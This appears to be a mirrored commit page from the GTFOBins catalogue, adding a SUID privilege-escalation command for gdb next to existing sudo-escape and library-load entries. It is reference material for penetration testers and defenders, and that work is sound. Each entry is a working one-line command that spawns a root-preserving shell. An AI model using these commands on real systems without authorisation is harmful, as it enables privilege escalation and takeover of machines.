mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add missing SUID in gdb
This commit is contained in:
parent
2377be5a55
commit
d7d463ee0c
@ -47,6 +47,8 @@ functions:
|
|||||||
library-load:
|
library-load:
|
||||||
- description: This requires that GDB is compiled with Python support.
|
- description: This requires that GDB is compiled with Python support.
|
||||||
code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
|
code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
|
||||||
|
suid:
|
||||||
|
- code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo gdb -nx -ex '!sh' -ex quit
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
||||||
capabilities:
|
capabilities:
|
||||||
|
Loading…
Reference in New Issue
Block a user